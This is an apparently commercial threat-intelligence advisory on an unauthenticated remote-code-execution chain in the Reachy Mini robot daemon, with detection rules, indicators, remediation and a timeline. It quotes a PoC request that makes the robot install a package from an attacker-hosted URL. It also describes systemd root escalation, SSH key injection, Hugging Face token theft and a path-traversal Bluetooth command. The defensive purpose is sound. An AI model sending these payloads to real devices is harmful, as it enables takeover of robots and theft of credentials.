Reachy Mini AI Robot Unauthenticated HTTP RCE Chain (CVE-2026-96455, CVE-2026-96456, CVE-2026-55419, CVE-2026-62661, CVE-2026-53605)

Key facts for Reachy Mini robot RCE

Detection coverage for Reachy Mini robot RCE

As of 2026-11-03, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-5173 across Splunk SPL, Microsoft KQL and Sigma, covering 16 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.

Free detection: Reachy Mini Unauthenticated App Install Chain (CVE-2026-96455) — Exploitation

Behaviour-first detection of the CVE-2026-96455 primary chain: an HTTP POST to /api/apps/install on TCP 8000 of a Reachy Mini daemon and/or the daemon-spawned uv/pip install of a remote sdist (for example reachy_mini_pwn-0.0.1.tar.gz) that runs setup.py as the pollen user. Both stages on the same target raise confidence.

• Languages: Splunk SPL, Microsoft KQL, Sigma
• ATT&CK: T1190, T1059.006, T1195.002
• Data sources: zeek:bro:http:json, sysmon_for_linux, defender_for_endpoint_linux, firewall_or_proxy_http_logs
• Severity: high
• Confidence: high

Splunk SPL

(index=zeek sourcetype="bro:http:json" method=POST "id.resp_p"=8000 uri="/api/apps/install*")
OR (index=linux sourcetype="sysmon:linux" EventCode=1 (CommandLine="*uv pip install*" OR CommandLine="*pip install*" OR CommandLine="*pip3 install*") (CommandLine="*http://*" OR CommandLine="*https://*") (ParentCommandLine="*reachy*" OR User=pollen))
| eval signal=if(sourcetype=="bro:http:json","http_post_apps_install","daemon_spawned_remote_pip_install")
| eval actor=coalesce('id.orig_h', User), target=coalesce('id.resp_h', host), detail=coalesce(uri, CommandLine)
| stats count min(_time) as first_seen max(_time) as last_seen values(signal) as signals values(detail) as details by actor target
| eval both_stages=if(mvcount(signals)>1,"yes","no")
| convert ctime(first_seen) ctime(last_seen)
| sort - count

Microsoft KQL

let lookback = 24h;
let http = CommonSecurityLog
    | where TimeGenerated > ago(lookback)
    | where DestinationPort == 8000 and RequestMethod =~ "POST"
    | where RequestURL has "/api/apps/install"
    | project TimeGenerated, Signal = "http_post_apps_install", Actor = SourceIP, Target = DestinationIP, Detail = RequestURL;
let proc = DeviceProcessEvents
    | where Timestamp > ago(lookback)
    | where ProcessCommandLine has_any ("pip install", "pip3 install")
    | where ProcessCommandLine matches regex @"https?://"
    | where InitiatingProcessCommandLine has "reachy" or AccountName =~ "pollen"
    | project TimeGenerated = Timestamp, Signal = "daemon_spawned_remote_pip_install", Actor = AccountName, Target = DeviceName, Detail = ProcessCommandLine;
union http, proc
| summarize Events = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated), Signals = make_set(Signal), Details = make_set(Detail, 10) by Actor, Target
| order by LastSeen desc

Sigma

title: Reachy Mini Unauthenticated App Install Request (CVE-2026-96455)
id: 6f1d2c3a-5b7e-4a9c-8d21-3e4f5a6b7c01
status: experimental
description: Detects an HTTP POST to the Reachy Mini daemon /api/apps/install endpoint, which accepts source_kind=local with an attacker-controlled extra.path and runs uv pip install, executing setup.py as the pollen user.
references:
  - https://jfrog.com/blog/reachy-http-request-hijacks-ai-robot/
  - https://github.com/pollen-robotics/reachy_mini
  - https://github.com/pollen-robotics/reachy-mini-os/security/advisories/GHSA-7rhg-9v48-x3h2
author: AII-Detector — ThreadLinqs Intelligence
date: 2026-11-03
tags:
  - attack.initial_access
  - attack.t1190
  - attack.execution
  - attack.t1059.006
  - attack.t1195.002
  - cve.2026.96455
logsource:
  category: proxy
detection:
  selection:
    cs-method: 'POST'
    c-uri|contains: '/api/apps/install'
  condition: selection
falsepositives:
  - Legitimate operator installing apps through the Reachy Mini dashboard from a trusted workstation
  - Vendor tooling that provisions robot apps
level: high

Known false positives:

• Legitimate operator installing apps via the Reachy Mini dashboard from a trusted workstation
• Developers running pip install from an https URL in the same account on a Lite/simulation workstation

Tuning notes: Restrict to your robot subnets with a lookup of known Reachy Mini hosts, allowlist operator workstation IPs that install apps legitimately, and alert at high priority when both_stages=yes or the install URL is not an expected internal or PyPI host. Adjust index/sourcetype names to your Zeek and Sysmon-for-Linux ingestion.

• 🔒 Reachy Mini Sdist Build Backend Spawning Shell or Sudo — Exploitation · unlock with TL Creds
• 🔒 Root SSH Authorized Keys Injection on Reachy Mini — Post-Exploitation · unlock with TL Creds
• 🔒 Reachy Mini Hugging Face Token Access and Sensitive Unauthenticated Endpoints — Credential Access · unlock with TL Creds
• 🔒 Reachy Mini Remote Sdist Install From Non-PyPI URL — Exploitation · unlock with TL Creds
• 🔒 Systemd Unit File Written by Script/Shell on Reachy Mini — Post-Exploitation · unlock with TL Creds
• 🔒 Root Script Execution From Reachy Mini Sounds Directory (CVE-2026-62661) — Lateral Movement · unlock with TL Creds
• 🔒 Reachy Mini Sudo Systemctl Root Escalation and Unit Persistence — Post-Exploitation · unlock with TL Creds
• 🔒 Reachy Mini Sound Upload Staging and Script Execution (CVE-2026-55419 / CVE-2026-62661) — Lateral Movement · unlock with TL Creds

Indicators of compromise for Reachy Mini robot RCE

As of 2026-11-03, Threadlinqs Intelligence tracks 16 indicators of compromise for TL-2026-5173.

Sample indicators (2 of 16)

• Domain: reachy-mini[.]local
• Domain: _reachy-mini[.]_tcp[.]local

Defanged, TLP:CLEAR. Full set of 16 indicators: unlock with TL Creds.

How Reachy Mini robot RCE works

The Reachy Mini daemon (reachy-mini-daemon, a Python/FastAPI service) exposes an HTTP API on TCP 8000 bound to 0.0.0.0 in Wireless, Lite and simulation modes, with no authentication on state-changing endpoints. The Wireless robot is discoverable on the LAN via mDNS as reachy-mini.local (service _reachy-mini._tcp.local). The robot is a Raspberry Pi Compute Module 4 device with camera, microphone and servos, integrated with the Hugging Face app ecosystem.

Primary chain (CVE-2026-96455, CWE-306/CWE-494): POST /api/apps/install accepts source_kind="local" at the router boundary and passes extra.path unvalidated to `uv pip install`. Pointing the path at an attacker-hosted sdist (for example http://<attacker>:8888/reachy_mini_pwn-0.0.1.tar.gz) causes the package build backend (setup.py) to execute as the daemon user `pollen`. JFrog's published PoC payload is {"name":"reachy_mini_pwn","source_kind":"local","extra":{"path":"http://192.168.64.1:8888/reachy_mini_pwn-0.0.1.tar.gz"}}. Privilege escalation (CVE-2026-53605, CWE-250/CVSS 7.8): the Wireless OS image grants the pollen user passwordless sudo to /usr/bin/systemctl with no argument restriction, so a setup.py can write a unit file (e.g. /etc/systemd/system/x.service), run daemon-reload and enable --now to obtain root, and JFrog describes SSH key injection into /root/.ssh/authorized_keys for persistence that survives reboot.

Browser chain: the daemon sets CORS allow_origins/methods/headers to "*", so a malicious web page visited by an operator on the same network can issue cross-origin requests to the robot. The unauthenticated /api/hf-auth/status reveals whether the operator is logged into Hugging Face, and /api/apps/install-private-space makes the daemon install an attacker-controlled Hugging Face Space using the operator's stored token (~/.cache/huggingface/token). JFrog notes a worm-like supply-chain risk if a compromised robot uses that token to modify published Spaces that other robots then pull as updates. Other unauthenticated endpoints include /api/wifi/forget_all and /api/wifi/setup_hotspot.

Bluetooth chain: (1) CVE-2026-55419 (CWE-434, CVSS 5.3) - unauthenticated POST /api/media/sounds/upload accepts arbitrary files with no extension allowlist, size cap or content validation, writing to /tmp/reachy_mini_sounds/. (2) CVE-2026-96456 (CWE-287/CWE-362, CVSS 6.3) - the BLE GATT service uses 'Just Works' pairing and a single global self.connected flag set on a correct PIN, so any nearby device can issue commands once a legitimate user authenticates; the PIN has no rate limiting. (3) CVE-2026-62661 (CWE-22) - the CMD_ handler builds script_path with os.path.join("commands", name + ".sh"); an absolute name discards the base directory, so CMD_/tmp/reachy_mini_sounds/pwn runs the uploaded script via sudo as root.

A public PoC (video and technical walkthrough) is included in JFrog's research. CVSS is not stated by JFrog; scores above come from CVE records (CVE-2026-96455: 8.8 AV:A; CVE-2026-96456: 6.3; CVE-2026-55419: 5.3; CVE-2026-53605: 7.8). Fixed-version statements differ across sources (JFrog blog: v1.11.0 for the main chain; CVE-2026-55419 fixed in 1.8.2; the Wireless OS sudoers issue fixed in 0.2.4 per the CVE record while the blog cites 0.2.7; OpenCVE lists CVE-2026-96455/96456 as affecting versions through 1.11.0), so defenders should confirm against the Pollen Robotics GitHub advisories. No in-the-wild exploitation is reported in the sources and the CVEs are not in CISA KEV.

MITRE ATT&CK techniques by tactic:

Execution

T1059.004 Command and Scripting Interpreter: Unix Shell; T1059.006 Command and Scripting Interpreter: Python

Persistence

T1098.004 Account Manipulation: SSH Authorized Keys; T1543.002 Create or Modify System Process: Systemd Service

Credential Access

T1110.001 Brute Force: Password Guessing; T1552.001 Unsecured Credentials: Credentials In Files

Initial Access

T1190 Exploit Public-Facing Application; T1195.002 Supply Chain Compromise: Compromise Software Supply Chain

Privilege Escalation

T1548.003 Abuse Elevation Control Mechanism: Sudo and Sudo Caching

Remediation for Reachy Mini robot RCE

Patches

• Upgrade the Reachy Mini daemon/SDK to v1.11.0 or later per JFrog (authentication on state-changing endpoints, restricted CORS, LOCAL source_kind rejected, per-device BLE auth state, PIN rate limiting, upload validation)
• CVE-2026-55419: reachy-mini 1.8.2 or later
• CVE-2026-53605: Reachy Mini Wireless OS image fixed release per GHSA-7rhg-9v48-x3h2 (0.2.4 per CVE record)

Immediate actions

• Block TCP 8000 on the robot's WLAN interface (e.g. sudo ufw deny in on wlan0 to any port 8000) and on developer workstations except localhost
• Check exposure with: lsof -nP -iTCP:8000 -sTCP:LISTEN (TCP *:8000 indicates LAN exposure) and curl -s http://reachy-mini.local:8000/api/daemon/hardware-id
• Avoid web browsing on a workstation sharing a network with a Reachy Mini until patched (CORS wildcard allows browser-triggered requests)
• Hunt for unexpected systemd units (e.g. /etc/systemd/system/x.service), unknown entries in /root/.ssh/authorized_keys, unexpected files in /tmp/reachy_mini_sounds/, and unexpected pip/uv installs of unknown apps
• Rotate Hugging Face tokens stored at ~/.cache/huggingface/token on any workstation or robot that may have been exposed

Workarounds

• Firewall port 8000 to trusted hosts only
• Do not expose the daemon beyond localhost in Lite/simulation modes

Longer-term hardening

• Restrict sudoers for the pollen user to the minimum required commands instead of broad NOPASSWD access
• Segment robots onto an isolated network and disable the Bluetooth service when not needed
• Disable installation of untrusted apps and monitor outbound HTTP fetches from the daemon

Affected and fixed versions

• Pollen Robotics — Reachy Mini daemon (reachy-mini / reachy-mini-daemon) - Wireless, Lite and simulation modes
  Vulnerable versions: all versions prior to 1.11.0 (JFrog); reachy-mini < 1.8.2 (CVE-2026-55419)
  Fixed in: 1.11.0; 1.8.2 (CVE-2026-55419)
• Pollen Robotics — Reachy Mini Wireless OS image (reachy-mini-os)
  Vulnerable versions: prior to 0.2.4 (CVE-2026-53605 record)
  Fixed in: 0.2.4

Timeline of Reachy Mini robot RCE

• 2026-05-17 JFrog reports the local privilege escalation and unauthenticated app-install RCE to Pollen Robotics.
• 2026-05-27 Pollen Robotics patches the sudoers local privilege escalation (CVE-2026-53605) in a Wireless OS release.
• 2026-06-09 JFrog reports the unrestricted file upload, Bluetooth PIN race condition and Bluetooth path traversal.
• 2026-06-15 CVE-2026-55419 (unrestricted file upload, CVSS 5.3) is published; fixed in reachy-mini 1.8.2.
• 2026-08-11 CVE-2026-62661 (Bluetooth command handler path traversal) is published.
• 2026-09-23 CVE-2026-96455 (unauthenticated RCE via app install, CVSS 8.8) and CVE-2026-96456 (Bluetooth PIN race, CVSS 6.3) are published.
• 2026-09-30 CVE-2026-53605 (sudoers local privilege escalation, CVSS 7.8) is published.
• 2026-11-03 JFrog publishes 'bREACHYing the Perimeter' with the full chain, PoC video and technical walkthrough.

Sources cited for Reachy Mini robot RCE

• OpenCVE - CVE-2026-96455 app.opencve.io · Advisory · 2026-09-23
• OpenCVE - CVE-2026-96456 app.opencve.io · Advisory · 2026-09-23
• OpenCVE - CVE-2026-55419 app.opencve.io · Advisory · 2026-06-15
• Mend.io Vulnerability Database - CVE-2026-96455 mend.io · Advisory · 2026-09-23
• bREACHYing the Perimeter: How One HTTP Request can Hijack your AI Robot (JFrog) jfrog.com · Research · 2026-11-03
• JFrog Research - CVE-2026-55419 Reachy Mini unrestricted file upload (JFSA-2026-001676839) research.jfrog.com · Research · 2026-06-15
• GitHub Security Advisory GHSA-993g-hgjh-whmf (Bluetooth PIN race) GitHub · Vendor report · 2026-09-23
• GitHub Security Advisory GHSA-m2pc-3q4q-w6jr (unrestricted file upload) GitHub · Vendor report · 2026-06-15
• GitHub Security Advisory GHSA-7rhg-9v48-x3h2 (sudoers privilege escalation) GitHub · Vendor report · 2026-09-30
• Fix commit for CVE-2026-55419 GitHub · Code repository · 2026-06-15
• Pollen Robotics reachy_mini repository GitHub · Code repository · 2026-11-03
• The Hacker Wire - CVE-2026-53605 thehackerwire.com · News · 2026-09-30

More in vulnerability

• SolarWinds Dameware Command Injection Vulnerability (CVE-2026-28336)
• CVE-2026-25600: Hard-coded Cryptographic Secret in Trac d.o.o. PDBM (Process Database Manager) 1.0.0.0 Enables Administrative Credential Decryption
• Microsoft Analysis: 78% of Exploited Vulnerabilities Enable System Takeover and Privilege Escalation
• Android November 2026 Security Bulletin: Over 200 Vulnerabilities Patched, Including Critical Framework RCE (CVE-2026-58868)
• Docker Sandboxes (sbx CLI) Symlink Vulnerability Lets AI Agents Read/Write Host Files Outside Sandbox (CVE-2026-103916)

Further reading

• npm Supply Chain Attacks 2026: 218 Packages